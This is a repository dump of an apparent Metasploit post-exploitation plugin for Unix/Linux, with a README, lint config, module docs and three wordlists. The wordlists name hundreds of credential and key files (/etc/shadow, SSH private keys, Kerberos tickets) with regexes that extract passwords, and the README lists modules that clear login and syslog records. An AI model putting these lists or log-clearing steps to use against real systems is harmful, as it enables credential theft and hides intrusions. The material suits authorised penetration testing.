├── .rubocop.yml ├── Gemfile ├── Gemfile.lock ├── README.md ├── data ├── post │ └── linux │ │ ├── paxtest_src.tar │ │ ├── paxtest_src.tar.gz │ │ └── paxtest_x64.tar.gz └── wordlists │ ├── interessting_files.txt │ ├── interessting_files2.txt │ └── interessting_files3.txt ├── documentation └── modules │ ├── auxiliary │ └── shell │ │ └── interactive.md │ └── post │ └── unix │ ├── gather │ ├── download_interessting.md │ ├── enum_history.md │ └── enum_logfiles.md │ └── general │ ├── download.md │ ├── logs │ ├── clear_lastlog.md │ ├── clear_utmp.md │ ├── dump_lastlog.md │ └── dump_utmp.md │ ├── securedelete.md │ ├── shell2ssh.md │ ├── updatedb.md │ └── upload.md ├── external └── source │ └── paxtest │ └── paxtest-0.9.11.tar.gz ├── lib ├── banner.rb ├── base │ └── sessions │ │ ├── cache.rb │ │ ├── offline.rb │ │ ├── pty.rb │ │ ├── shell_connection.rb │ │ ├── shell_extensions.rb │ │ ├── shell_session.rb │ │ ├── ssh_session.rb │ │ └── updatedb.rb ├── core │ └── post │ │ ├── staekka.rb │ │ ├── staekka │ │ ├── file.rb │ │ ├── send_data.rb │ │ └── unix.rb │ │ └── unix │ │ ├── commands.rb │ │ ├── lastlog.rb │ │ └── utmp.rb ├── logos │ └── staekka.txt ├── staekka.rb └── staekka_path.rb ├── modules ├── auxiliary │ └── shell │ │ ├── interactive.rb │ │ ├── offline_audit.rb │ │ └── ssh_session.rb └── post │ ├── linux │ └── gather │ │ └── protection │ │ ├── binaries.rb │ │ └── kernel.rb │ └── unix │ ├── gather │ ├── download_interessting.rb │ ├── enum_history.rb │ └── enum_logfiles.rb │ └── general │ ├── download.rb │ ├── logs │ ├── clear_lastlog.rb │ ├── clear_syslog.rb │ ├── clear_utmp.rb │ ├── dump_lastlog.rb │ └── dump_utmp.rb │ ├── secure_delete.rb │ ├── shell2ssh.rb │ ├── updatedb.rb │ └── upload.rb └── plugins ├── info_path.rb └── staekka.rb /.rubocop.yml: -------------------------------------------------------------------------------- 1 | # This list was intially created by analyzing the last three months (51 2 | # modules) committed to Metasploit Framework. Many, many older modules 3 | # will have offenses, but this should at least provide a baseline for 4 | # new modules. 5 | # 6 | # Updates to this file should include a 'Description' parameter for any 7 | # explaination needed. 8 | 9 | # inherit_from: .rubocop_todo.yml 10 | 11 | Metrics/ClassLength: 12 | Description: 'Most Metasploit modules are quite large. This is ok.' 13 | Enabled: true 14 | Exclude: 15 | - 'modules/**/*' 16 | 17 | Style/Documentation: 18 | Enabled: true 19 | Description: 'Most Metasploit modules do not have class documentation.' 20 | Exclude: 21 | - 'modules/**/*' 22 | 23 | Style/Encoding: 24 | Enabled: true 25 | Description: 'We prefer binary to UTF-8.' 26 | EnforcedStyle: 'when_needed' 27 | 28 | Metrics/LineLength: 29 | Description: >- 30 | Metasploit modules often pattern match against very 31 | long strings when identifying targets. 32 | Enabled: true 33 | Max: 180 34 | 35 | Metrics/MethodLength: 36 | Enabled: true 37 | Description: >- 38 | While the style guide suggests 10 lines, exploit definitions 39 | often exceed 200 lines. 40 | Max: 300 41 | 42 | # Basically everything in metasploit needs binary encoding, not UTF-8. 43 | # Disable this here and enforce it through msftidy 44 | Style/Encoding: 45 | Enabled: false 46 | 47 | # %q() is super useful for long strings split over multiple lines and 48 | # is very common in module constructors for things like descriptions 49 | Style/UnneededPercentQ: 50 | Enabled: false 51 | 52 | Style/NumericLiterals: 53 | Enabled: false 54 | Description: 'This often hurts readability for exploit-ish code.' 55 | 56 | Style/SpaceInsideBrackets: 57 | Enabled: false 58 | Description: 'Until module template are final, most modules will fail this.' 59 | 60 | Style/StringLiterals: 61 | Enabled: false 62 | Description: 'Single vs double quote fights are largely unproductive.' 63 | 64 | Style/WordArray: 65 | Enabled: false 66 | Description: 'Metasploit prefers consistent use of []' 67 | 68 | Style/RedundantBegin: 69 | Exclude: 70 | # this pattern is very common and somewhat unavoidable 71 | # def run_host(ip) 72 | # begin 73 | # ... 74 | # rescue ... 75 | # ... 76 | # ensure 77 | # disconnect 78 | # end 79 | # end 80 | - 'modules/**/*' 81 | 82 | Documentation: 83 | Exclude: 84 | - 'modules/**/*' 85 | -------------------------------------------------------------------------------- /Gemfile: -------------------------------------------------------------------------------- 1 | source 'https://rubygems.org' 2 | gem "ruby-termios" 3 | gem "bindata" 4 | gem "minitar" 5 | 6 | -------------------------------------------------------------------------------- /Gemfile.lock: -------------------------------------------------------------------------------- 1 | GEM 2 | remote: https://rubygems.org/ 3 | specs: 4 | bindata (2.4.0) 5 | minitar (0.6.1) 6 | ruby-termios (1.0.2) 7 | 8 | PLATFORMS 9 | ruby 10 | 11 | DEPENDENCIES 12 | bindata 13 | minitar 14 | ruby-termios 15 | 16 | BUNDLED WITH 17 | 1.15.1 18 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | # Stækka Metasploit - Extenting Metasploit 4 | 5 | This Msf plugin extends Metasploit for some missing features and modules 6 | allowing interaction with other/custom exploits/ways of getting shell access. 7 | The current focus here is Linux/Unix support. 8 | 9 | # Core features 10 | 11 | 12 | * TTY support: starting a shell from Metasploit allowing interaction with TTY support and session migration into Metasploit. This allows custom ways of gaining a shell (private non-metasploit exploits) and to use this shell as Metasploit session for executing post exploitation modules. There is also another SSH module for using a TTY shell while interacting with the session. 13 | 14 | * Performance hacks: For improving performance caching has been added allowing to cache command output of often used commands (like `uname`) or files. For searching files it is possible to run "find" once and to store the results. This can be re-used for many search requests (find all files with `*shadow*`, find all suid files, ...etc). For recursive downloads tar can be used which speeds up downloads. 15 | 16 | # Installing 17 | 18 | Setting environment and loading it for further usage (can be any shell profile/startup) 19 | ``` 20 | export STAEKKA_PATH=$HOME/.staekka/ 21 | echo 'export STAEKKA_PATH=$HOME/.staekka/' >>$HOME/.profile 22 | ``` 23 | 24 | Copy it into installation directory 25 | ``` 26 | cp -r staekka $STAEKKA_PATH 27 | ``` 28 | 29 | Copy Metasploit plugins 30 | ``` 31 | mkdir -p $HOME/.msf4/plugins/ 32 | cp $STAEKKA_PATH/plugins/staekka.rb $HOME/.msf4/plugins/ 33 | cp $STAEKKA_PATH/plugins/info_path.rb $HOME/.msf4/plugins/ 34 | ``` 35 | 36 | Installation of dependencies (gem installation without root required) 37 | ``` 38 | gem install --user bindata 39 | gem install --user minitar 40 | gem install --user ruby-termios 41 | ``` 42 | 43 | Or installation of dependencies via bundler 44 | ``` 45 | cd $STAEKKA_PATH 46 | bundle install 47 | ``` 48 | 49 | # Usage 50 | 51 | ``` 52 | $ export STAEKKA_PATH=$HOME/.staekka/ 53 | $ cd ../metasploit-framework/ 54 | $ ./msfconsole 55 | msf > load staekka 56 | msf > use auxiliary/shell/interactive 57 | msf auxiliary(interactive) > info 58 | ``` 59 | 60 | # Modules 61 | 62 | ## New sessions: 63 | * auxiliary/shell/interactive This module executes a command (shell) you can interact with. You can add this shell session to mfs sessions 64 | * auxiliary/shell/ssh_session Login using SSH with TTY support 65 | * auxiliary/shell/offline_audit This module allows to perform tests/audits with pre-collected data 66 | 67 | ## Post exploitation - Linux/Unix: 68 | * post/unix/general/secure_delete Overwriting and deleting files and directories (anti-forensic) 69 | * post/unix/general/updatedb Creating an updatedb for faster file searches and perform searches 70 | * post/unix/general/download Downloading files faster transfering them via HTTP(s) 71 | * post/unix/general/upload Uploading files faster transfering them via HTTP(s) 72 | * post/unix/general/shell2ssh Starting a new ssh server using a custom config and start an extra SSH session 73 | 74 | ## Post exploitation - Analyse 75 | * post/unix/gather/download_interessting Download interesting files based on a file list and regex 76 | * post/unix/gather/enum_history Download and analyse history files 77 | * post/unix/gather/enum_logfiles Download and analyse log files 78 | 79 | ## Post exploitation - Logs 80 | * post/unix/general/logs/dump_lastlog Dump lastlog log files as text 81 | * post/unix/general/logs/dump_utmp Dump utmp log files as text 82 | * post/unix/general/logs/clear_lastlog Clear lastlog logfiles 83 | * post/unix/general/logs/clear_utmp Clear utmp log files 84 | * post/unix/general/logs/clear_syslog Clear syslog like (text) log files 85 | 86 | ## Post exploitation - Analyse Linux 87 | * post/linux/gather/protection/kernel Check for kernel extra hardenings 88 | * post/linux/gather/protection/binaries Check for kernel extra hardenings 89 | 90 | 91 | 92 | # Name: stækka 93 | 94 | Stækka: Icelandic word for (enlarge/expand/grow). 95 | This plugin extends Metasploit for some features. 96 | 97 | # Bugs 98 | ## Ruby/Readline ## 99 | Sometimes msfconsole shows "\r" 100 | Fix: Use the system Readline library instead of RbReadline 101 | ``` 102 | msfconsole -L 103 | ``` 104 | 105 | 106 | 107 | -------------------------------------------------------------------------------- /data/post/linux/paxtest_src.tar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/j-0-t/staekka/57787caa58b835c5cfc40c0fc0fb94ad28a98463/data/post/linux/paxtest_src.tar -------------------------------------------------------------------------------- /data/post/linux/paxtest_src.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/j-0-t/staekka/57787caa58b835c5cfc40c0fc0fb94ad28a98463/data/post/linux/paxtest_src.tar.gz -------------------------------------------------------------------------------- /data/post/linux/paxtest_x64.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/j-0-t/staekka/57787caa58b835c5cfc40c0fc0fb94ad28a98463/data/post/linux/paxtest_x64.tar.gz -------------------------------------------------------------------------------- /data/wordlists/interessting_files.txt: -------------------------------------------------------------------------------- 1 | /etc/passwd||default unix passwd|:text 2 | /etc/shadow||password hashes|:text 3 | /etc/security/opasswd||password hashes|:text 4 | /etc/nofile||no_file|:text 5 | /etc/issue||test file|:data 6 | # home directory 7 | #~/.bashrc||shell config|:text 8 | etc/fstab||unix config|:text # etc/fstab 9 | /etc/pam.d/||pam config|:text 10 | #/etc/pam.d||pam config|:text 11 | /home/user/.config/Last.fm/Last.fm.conf||GREP(/\\Password\s*=(.*)/)|:text 12 | /home/user/.cvechecker.rc||CONFGREP(/dbpass\s*=\s*"(.*)"/)|:text 13 | -------------------------------------------------------------------------------- /data/wordlists/interessting_files2.txt: -------------------------------------------------------------------------------- 1 | # system files 2 | /etc/passwd||default unix passwd|:text 3 | /etc/shadow||password hashes|:text 4 | /etc/fstab||unix config (might contain passwords)|:text 5 | /etc/group||unix config|:text 6 | /etc/master.passwd ||unix password hashes|:text 7 | /etc/security/passwd||unix password hashes|:text 8 | /etc/gshadow||unix config (might contain passwords)|:text 9 | /etc/secrets||unix config (might contain passwords)|:text 10 | /etc/sudoers||unix config|:text 11 | /etc/hosts||unix config|:text 12 | /etc/samba/private/smbpasswd||unix config (might contain passwords)|:data 13 | /usr/local/etc/samba/private/smbpasswd||unix config (might contain passwords)|:data 14 | /etc/d_passwd||unix config (might contain passwords)|:text 15 | /etc/shadow-||unix config (might contain passwords)|:text 16 | /etc/tripwire/site.key||unix config|:data 17 | /etc/nessus/nessus-fetch.rc||unix config|:text 18 | /etc/socks/tsocks.conf||unix config|:text 19 | /etc/secrets||unix config|:text 20 | /etc/nagios/nsca.cfg||unix config|:text 21 | /etc/nagios/send_nsca.cfg||unix config|:text 22 | /usr/sbin/john.pot||unix config|:text 23 | /etc/grsec/pw||unix config|:text 24 | /etc/proxychains.conf||unix config|:text 25 | # home files 26 | ~/.bashrc||shell config|:text 27 | ~/.bash_history||history file|:text 28 | ~/.sh_history||history file|:text 29 | ~/.history||history file|:text 30 | ~/.zsh_history||history file|:text 31 | ~/.ash_history||history file|:text 32 | ~/.php_history||history file|:text 33 | ~/.mysql_history||history file|:text 34 | ~/.sqlite_history||history file|:text 35 | ~/.psql_history||history file|:text 36 | ~/.my.cnf||might contain password(s)|:text 37 | ~/.mc/history||histroty file|:text 38 | ~/.cvspass||might contain password(s)|:text 39 | ~/.ICAClient/appsrv.ini||might contain password(s)|:text 40 | ~/.ICAClient/reg.ini||might contain password(s)|:text 41 | ~/.ICAClient/wfclient.ini||might contain password(s)|:text 42 | ~/.ICAClient/All_Regions.ini||might contain password(s)|:text 43 | ~/.rubyforge/user-config.yml||might contain password(s)|:text 44 | ~/.recently-used||history|:text 45 | ~/.recently-used.xbel||history|:text 46 | ~/.ophcrackrc||might contain password(s)|:text 47 | ~/.LinNeighborhood/preferences||might contain password(s)|:text 48 | ~/.xxe/preferences.properties||might contain password(s)|:text 49 | ~/.vnc/passwd||might contain password(s)|:text 50 | ~/.mono/registry/CurrentUser/software/bobcat/settings/values.xml||might contain password(s)|:text 51 | ~/.halberd/halberd.cfg|||:text 52 | ~/.jbidwatcher/JBidWatch.cfg||might contain password(s)|:text 53 | ~/.opera/typed_history.xml|||:text 54 | ~/.opera/opera.dir|||:text 55 | ~/.advchk/advchk.db|||:data 56 | ~/.netrc||might contain password(s)|:text 57 | ~/.rhosts||might contain password(s)|:text 58 | ~/.shosts||might contain password(s)|:text 59 | ~/.gnupg/secring.gpg|||:data 60 | ~/.gnupg/trustdb.gpg|||:data 61 | ~/.forward||might contain password(s)|:text 62 | ~/.muttrc||might contain password(s)|:text 63 | ~/.esmtprc||might contain password(s)|:text 64 | ~/.pinerc||might contain password(s)|:text 65 | ~/.fetchmailrc||might contain password(s)|:text 66 | ~/.msmtprc||might contain password(s)|:text 67 | ~/.snmp/snmp.conf||might contain password(s)|:text 68 | ~/.gaimrc||might contain password(s)|:text 69 | ~/.bitchxrc||might contain password(s)|:text 70 | ~/.micqrc||might contain password(s)|:text 71 | ~/.sash/sadoor.db|||:data 72 | ~/.sash/sash.conf||might contain password(s)|:text 73 | ~/.sash/sash.db|||:data 74 | ~/.nessusrc|||:text 75 | ~/.nessus.keys|||:data 76 | ~/.paros/options.xml|||:text 77 | ~/.idapro/ida.key|||:text 78 | ~/.pgp/secring.pgp|||:data 79 | ~/.vnc/passwd||might contain password(s)|:text 80 | ~/.ICEauthority||might contain password(s)|:text 81 | ~/.silc/private_key.prv|||:data 82 | ~/.xchat/serverlist.conf||might contain password(s)|:text 83 | ~/.Xauthority|||:text 84 | ~/.cvspass||might contain password(s)|:text 85 | ~/.xchat/servers.conf||might contain password(s)|:text 86 | ~/.xchat2/serverlis_.conf||might contain password(s)|:text 87 | ~/.silky/silky.prv||might contain password(s)|:data 88 | ~/.silky/silky.pub||might contain password(s)|:data 89 | ~/.john/john.pot||might contain password(s)|:text 90 | ~/.netwag.ses||might contain password(s)|:text 91 | ~/.scapy_history||history|:text 92 | ~/.qt/kphonerc||might contain password(s)|:text 93 | ~/.jbidwatcher/JBidWatch.cfg||might contain password(s)|:text 94 | ~/.psi/profiles/default/config.xml||might contain password(s)|:text 95 | ~/.gaim/accounts.xml||might contain password(s)|:text 96 | ~/.torarc||might contain password(s)|:text 97 | ~/anarconda-ks.cfg||might contain password(s)|:text 98 | ~/.openvasrc.cert|||:data 99 | ~/.openvasrc||might contain password(s)|:text 100 | ~/.hgrc||might contain password(s)|:text 101 | ~/WebScarab.properties||might contain password(s)|:text 102 | ~/.ncftp/trace||might contain password(s)|:text 103 | ~/.ncftp/bookmarks||might contain password(s)|:text 104 | ~/.gnupg/.gpg-agent-info|||:text 105 | ~/.jxplorer/connections.txt||might contain password(s)|:text 106 | ~/.lesshst|history||:text 107 | ~/.luma/serverlist.xml||might contain password(s)|:text 108 | ~/.mc/history|history||:text 109 | ~/.msf3/logs/framework.log|||:text 110 | ~/.msf3/logs/msfgui.log|||:text 111 | ~/.msf3/logs/msfweb.log|||:text 112 | ~/.msf3/history|||:text 113 | ~/.msf3/logs/framework.log|||:text 114 | ~/.msf4/history|||:text 115 | ~/.msf4/logs/framework.log|||:text 116 | ~/.wireshark/recent|||:text 117 | ~/.screenrc|||:text 118 | ~/.proxychains/proxychains.conf||might contain password(s)|:text 119 | ~/Plone/zinstance/adminPassword.txt||might contain password(s)|:text 120 | # ssh 121 | ~/.ssh/identity||SSH|:text 122 | ~/.ssh/id_dsa||SSH Key|:text 123 | ~/.ssh/id_rsa||SSH Key|:text 124 | ~/.ssh/id_ecdsa||SSH Key|:text 125 | ~/.ssh/id_ed25519||SSH Key|:text 126 | 127 | 128 | 129 | # interssting file names 130 | passwords.txt||might be interessting|:text 131 | john.pot|cracked passwords|:text 132 | .msf3/|metasploit stuff|:text 133 | .msf4/|metasploit stuff|:text 134 | 135 | # ssh 136 | id_dsa|SSH Key|:text 137 | id_rsa|SSH Key|:text 138 | id_ecdsa|SSH Key|:text 139 | id_ed25519|SSH Key|:text 140 | 141 | -------------------------------------------------------------------------------- /data/wordlists/interessting_files3.txt: -------------------------------------------------------------------------------- 1 | ############################################################ 2 | # System files 3 | ############################################################ 4 | # password hashes 5 | /etc/passwd||default unix passwd|:text 6 | /etc/shadow||password hashes|:text 7 | /etc/shadow-||password hashes|:text 8 | /etc/shadow~||password hashes|:text 9 | /etc/security/passwd||password hashes|:text 10 | /etc/master.passwd||password hashes|:text 11 | /.secure/etc/passwd||password hashes|:text 12 | /etc/spwd.db||password hashes|:text 13 | /tcb/files/auth||password hashes|:text 14 | /etc/udb||password hashes|:text 15 | /etc/gshadow||unix config (might contain passwords)|:text 16 | /etc/secrets||unix config (might contain passwords)|:text 17 | /etc/d_passwd||unix config (might contain passwords)|:text 18 | /etc/secrets||unix config|:text 19 | /etc/opasswd||unix config|:text 20 | /etc/hardened-shadow||hardened shadow|:text 21 | /root/passwords.txt|ZPanel password file|:text 22 | # config files 23 | /etc/fstab||unix config (might contain passwords)|:text 24 | /etc/group||unix config|:text 25 | /etc/sudoers||unix config|:text 26 | /etc/sudoers.d||unix config|:text 27 | /etc/hosts||unix config|:text 28 | /etc/grsec/pw||unix config|:data 29 | /etc/ssh/sshd_config||unix config|:data 30 | /root/anaconda-ks.cfg||unix config|:data 31 | /root/ks.cfg||unix config|:data 32 | /etc/wpa_supplicant/wpa_supplicant.conf||wlan config|:text 33 | /etc/wpa_supplicant.conf||wlan config|:text 34 | /usr/local/etc/wpa_supplicant/wpa_supplicant.conf||wlan config|:text 35 | /usr/local/etc/wpa_supplicant.conf||wlan config|:text 36 | ############################################################ 37 | # Special applications 38 | ############################################################ 39 | /usr/sbin/john.pot||unix config|:text 40 | /etc/tripwire/site.key||unix config|:data 41 | /etc/nagios/nsca.cfg||unix config|:text 42 | /etc/nagios/send_nsca.cfg||unix config|:text 43 | /etc/aiccu.conf||CONFGREP(/password(.*)/)|:text 44 | /etc/audisp/zos-remote.conf||CONFGREP(/password\s*=\s*(.*)/)|:text 45 | /etc/cntlm.conf||CONFGREP(/Password\s*(.*)/)|:text 46 | /etc/cntlm.conf||CONFGREP(/SOCKS5User.*:(.*)/)|:text 47 | /etc/conf.d/hsqldb||CONFGREP(/TLS_PASSWORD\s*=\s*(.*)/)|:text 48 | /etc/conf.d/msfrpcd4.4||CONFGREP(/-P\s*(.*)/)|:text 49 | /etc/conf.d/openconnect||CONFGREP(/password.*"(.*)"/)|:text 50 | /etc/conf.d/calibre-server||CONFGREP(/--password\s*(.*?)\s/)|:text 51 | /etc/conf.d/iodined||CONFGREP(/IODNED_PASSWD.*"(.*)"/)|:text 52 | /etc/conserver/conserver.passwd||passwords?|:text 53 | /etc/davfs2/secrets||passwords?|:text 54 | /etc/conf.d/hsqldb||CONFGREP(/TLS_PASSWORD\s*=\s*(.*)/)|:text 55 | /etc/conf.d/msfrpcd4.4||CONFGREP(/-P\s*(.*)/)|:text 56 | /etc/freshclam.conf||CONFGREP(/HTTPProxyPassword\s*(.*)/)|:text 57 | /etc/GeoIP.conf||CONFGREP(/ProxyUserPassword.*:(.*)/)|:text 58 | /etc/hostapd/hostapd.conf||CONFGREP(/private_key_passwd.*=(.*)/)|:text 59 | /etc/hostapd/hostapd.conf||CONFGREP(/wpa_passphrase.*=(.*)/)|:text 60 | /etc/hostapd/hostapd.eap_user||passwords?|:text 61 | /etc/hsqldb/sqltool.rc||CONFGREP(/password\s*(.*)/)|:text 62 | /etc/mono/4.0/web.config||XMLGREP(/password=.*"(.*?)"/)|:text 63 | /etc/mono/2.0/web.config||XMLGREP(/password=.*"(.*?)"/)|:text 64 | /etc/mpd.conf||CONFGREP(/password\s*"(.*)"/)|:text 65 | /etc/mysql/mysqlaccess.conf||CONFGREP(/password'*'(.*)'/)|:text 66 | /etc/mysql/mysqlaccess.conf||CONFGREP(/spassword'*'(.*)'/)|:text 67 | /etc/nessus/nessusd.conf||CONFGREP(/pem_password\s*=(.*)/)|:text 68 | /etc/nikto/nikto.conf||CONFGREP(/PROXYPASS\s*=(.*)/)|:text 69 | /etc/ntlmaps/server.cfg||CONFGREP(/PASSWORD:(.*)/)|:text 70 | /etc/postfix/saslpass||CONFGREP(/remtehost\s.*:(.*)/)|:text 71 | /var/lib/samba/private/smbpasswd||samba passwd|:text 72 | /etc/screenrc||CONFGREP(/password\s.*(.*)/)|:text 73 | /etc/vpnc||vpn config|:data 74 | /etc/vtund.conf||vpn config|:data 75 | /etc/xrdp/xrdp.ini||CONFGREP(/password.*=(.*)/)|:text 76 | /etc/sysconfig/rhn/osad-auth.conf||CONFGREP(/password\s*=\s*(.*)/)|:text 77 | /etc/sysconfig/rhn/osad.conf||CONFGREP(/proxyPassword\s*=\s*(.*)/)|:text 78 | /etc/sysconfig/rhn/rhncfg-client.conf||CONFGREP(/proxyPassword\s*=\s*(.*)/)|:text 79 | /etc/sysconfig/rhn/up2date||CONFGREP(/proxyPassword\s*=\s*(.*)/)|:text 80 | /etc/warnquota.conf||CONFGREP(/LDAP_BINDPW\s*=\s*(.*)/)|:text 81 | /etc/imq/passfile||passwords?|:data 82 | ############################################################ 83 | # Home files 84 | ############################################################ 85 | # History files 86 | ~/.bash_history||history file|:text 87 | ~/.sh_history||history file|:text 88 | ~/.history||history file|:text 89 | ~/.zsh_history||history file|:text 90 | ~/.csh_history||history file|:text 91 | ~/.tcsh_history||history file|:text 92 | ~/.ksh_history||history file|:text 93 | ~/.ash_history||history file|:text 94 | ~/.php_history||history file|:text 95 | ~/.mysql_history||history file|:text 96 | ~/.sqlite_history||history file|:text 97 | ~/.psql_history||history file|:text 98 | ~/.mc/history||histroty file|:text 99 | ~/.atftp_history||histroty file|:text 100 | ~/.irb_history||histroty file|:text 101 | ~/.pry_history||histroty file|:text 102 | ~/.scapy_history||histroty file|:text 103 | ~/.rush/history||histroty file|:text 104 | ~/.sqlplus_history||history file|:text 105 | # Password files 106 | ~/.cvspass||might contain password(s)|:text 107 | ~/.john/john.pot||might contain password(s)|:text 108 | ~/.ssh||ssh config/keys|:text 109 | ~/.Xauthority||Auth cookie|:text 110 | ~/.TTauthority||Auth cookie|:text 111 | # Config files 112 | ~/.netrc||might contain password(s)|:text 113 | ~/.rhosts||might contain password(s)|:text 114 | ~/.shosts||might contain password(s)|:text 115 | ~/.my.cnf||might contain password(s)|:text 116 | ~/.bash_profile||config file|:text 117 | ~/.bashrc||config file|:text 118 | ~/.profile||config file|:text 119 | ~/.login||config file|:text 120 | ~/.zshrc||config file|:text 121 | ~/.kshrc||config file|:text 122 | ~/.tcshrc||config file|:text 123 | ~/.alias||config file|:text 124 | # Application files 125 | ~/.armitage||metasploit logs|:data 126 | ~/.armitage.prop||GREP(/connect.db_connect.string=(.*)/)|:text 127 | ~/.msf3||metasploit logs|:data 128 | ~/.msf4||metasploit logs|:data 129 | ~/.w3af||pentest logs|:data 130 | ~/.vega||pentest logs|:data 131 | ~/.ronin||pentest logs|:data 132 | ~/.netifera||pentest logs|:data 133 | ~/.java/.userPrefs/burp||pentest logs|:data 134 | ~/.java/.userPrefs/AttackLists/prefs.xml||pentest logs|:data 135 | ~/.ZAP/config.xml||pentest logs|:text 136 | ~/.filezilla/filezilla.xml||might contain credentials|:text 137 | ~/.filezilla/recentservers.xml||might contain credentials|:text 138 | ~/.ncftp/firewall||CONFGREP(/firewall-password\s*=\s*(.*)/)|:text 139 | ~/.gftp/gftprc||might contain credentials|:text 140 | ~/.gftp/bookmarks||might contain credentials|:text 141 | ~/.mpdconf||CONFGREP(/password.*"(.*)"/)|:text 142 | ~/.mpdconf||CONFGREP(/proxy_password.*"(.*)"/)|:text 143 | ~/.remmina/remmina.pref||might contain credentials|:text 144 | ~/.subversion/config||might contain credentials|:text 145 | ~/.subversion/servers||might contain credentials|:text 146 | ~/.config/gmpc/profiles.cfg||GREP(/password=\s*"(.*)"/)|:text 147 | ~/.config/mc/ini||GREP(/password=\s*(.*)/)|:text 148 | ~/.config/vlc/vlcrc||CONFGREP(/telnet-password=\s*(.*)/)|:text 149 | ~/.config/vlc/vlcrc||CONFGREP(/rmtosd-password=\s*(.*)/)|:text 150 | ~/.config/vlc/vlcrc||CONFGREP(/sout-raop-password=\s*(.*)/)|:text 151 | ~/.config/vlc/vlcrc||CONFGREP(/sout-raop-password-file=\s*(.*)/)|:text 152 | ~/.config/vlc/vlcrc||CONFGREP(/lastfm-password=\s*(.*)/)|:text 153 | ~/.config/vlc/vlcrc||CONFGREP(/rtsp-pwd=\s*(.*)/)|:text 154 | ~/.config/vlc/vlcrc||CONFGREP(/ftp-pwd=\s*(.*)/)|:text 155 | ~/.config/vlc/vlcrc||CONFGREP(/smb-pwd=\s*(.*)/)|:text 156 | ~/.config/vlc/vlcrc||CONFGREP(/http-proxy-pwd=\s*(.*)/)|:text 157 | ~/.config/vlc/vlcrc||CONFGREP(/sout-rtsp-pwd=\s*(.*)/)|:text 158 | ~/.config/vlc/vlcrc||CONFGREP(/socks-pwd=\s*(.*)/)|:text 159 | ~/.config/vlc/vlcrc||CONFGREP(/sout-http-pwd=\s*(.*)/)|:text 160 | ~/.config/Last.fm/Last.fm.conf||GREP(/\\Password\s*=(.*)/)|:text 161 | ~/.rootdpass||password|:text 162 | ~/.gitconfig||git information|:text 163 | ~/.airsnortrc|Airsort|:text 164 | ~/.alias|Shell config|:text 165 | #~/.amsn|aMSN: interessting data?|:data 166 | #~/.ethereal|Sniffer data|:data 167 | ~/.gnupg/secring.gpg|GnuPG key|:data 168 | #~/.keepass|Password manager|:data 169 | ~/.nessusrc|Nessus config|:text 170 | ~/.smb.cnf|Samba conf|:text 171 | ~/.ecryptfs/wrapped-passphrase|wrap an eCryptfs mount passphrase|:text 172 | ############################################################ 173 | # Generic files 174 | ############################################################ 175 | /tmp/krb5cc_*|Kerberos tickets|:text 176 | /tmp/krb5.keytab|Kerberos tickets|:text 177 | -------------------------------------------------------------------------------- /documentation/modules/auxiliary/shell/interactive.md: -------------------------------------------------------------------------------- 1 | interactive by default opens a shell (if no other command is configured) 2 | providing you an interactive shell with tty support on your system. This shell 3 | can be used for launing non-metasploit exploits or doing other steps manually. 4 | When finished you can enter a magic string and get back to your metasploit 5 | console. The shell will be handled as session within metasploit providing 6 | possibility of various post modules. 7 | 8 | ## Module Options 9 | 10 | **CMD** 11 | 12 | By default CMD will be the default shell (environment variable $SHELL). 13 | 14 | **INTERACTIVE** 15 | 16 | Setting INTERACtiVE to true will start the interactive modus by executing the 17 | module. Interacting at any time can be done by calling session -i SESSION. 18 | 19 | **LOGFILE** 20 | 21 | By default a logfile (option LOGFILE) whill be created in /tmp storing every 22 | input/output (like a keylogger). 23 | 24 | **STOP** 25 | 26 | Option STOP can customize the magic string for returning to metasploit. By 27 | default it is #__stop__ 28 | 29 | **LOGTERMINAL** 30 | 31 | Start a terminal (xterm) with 'tail -f logfile' for watching the PTY - can be 32 | used as show effect or for debugging 33 | 34 | 35 | ## Scenario 36 | Launing your private non-metasploit module for getting a shell and use the 37 | features of metasploit for this shell. 38 | ``` 39 | msf auxiliary(interactive) > set CMD zsh 40 | CMD => zsh 41 | msf auxiliary(interactive) > set INTERACTIVE true 42 | INTERACTIVE => true 43 | msf auxiliary(interactive) > run 44 | 45 | [*] Logfile: /tmp/__log_1_27443 46 | [*] Pty I/O session 3 opened (local -> PTY: zsh) at 2000-01-01 10:11:56 +0200 47 | end this shell with "#__stop__" 48 | oooo% echo do something 49 | do something 50 | oooo% ./expoit 51 | zsh: no such file or directory: ./expoit 52 | oooo% echo #__stop__ 53 | 54 | Stopping interactive 55 | [*] Auxiliary module execution completed 56 | msf auxiliary(interactive) > sessions 57 | 58 | Active sessions 59 | =============== 60 | 61 | Id Type Information Connection 62 | -- ---- ----------- ---------- 63 | 1 shell unix PTY: local -> PTY: zsh (::1) 64 | ``` 65 | 66 | 67 | -------------------------------------------------------------------------------- /documentation/modules/post/unix/gather/download_interessting.md: -------------------------------------------------------------------------------- 1 | Downloading files 2 | 3 | ## Module Options 4 | 5 | **DOWNLOAD** 6 | 7 | Download a special file or directory 8 | 9 | **FILES** 10 | 11 | Download files defined in this wordlist 12 | 13 | **SESSION** 14 | 15 | Which session to use, which can be viewed with `sessions -l` 16 | 17 | **TIMEOUT** 18 | 19 | Default timeout is set to 5 minutes. You can change it (large files usually 20 | nee a while to be downloaded) 21 | 22 | **USE_UPDATEDB** 23 | 24 | Use UpdateDB for searching for files. Creating this DB needs some time 25 | (running find over /). Searching many files (also for other Staekka modules)it can speed up things. 26 | 27 | ## Wordlist 28 | ### supported entries 29 | Format: 30 | path||description text|type 31 | 32 | 33 | ### Example of wordlist 34 | ``` 35 | /etc/passwd||default unix passwd|:text 36 | /etc/shadow||password hashes|:text 37 | /etc/nofile||no_file|:text 38 | /etc/issue||test file|:data 39 | # home directory 40 | #~/.bashrc||shell config|:text 41 | etc/fstab||unix config|:text # etc/fstab 42 | /etc/pam.d/||pam config|:text 43 | /home/user/.config/Last.fm/Last.fm.conf||GREP(/\\Password\s*=(.*)/)|:text 44 | /home/user/.cvechecker.rc||CONFGREP(/dbpass\s*=\s*"(.*)"/)|:text 45 | ``` 46 | 47 | ## Scenario 48 | ``` 49 | msf post(download_interessting) > options 50 | 51 | Module options (post/unix/gather/download_interessting): 52 | 53 | Name Current Setting Required Description 54 | ---- --------------- -------- ----------- 55 | DOWNLOAD no Files and/or directories to download 56 | FILES no Wordist of files to download 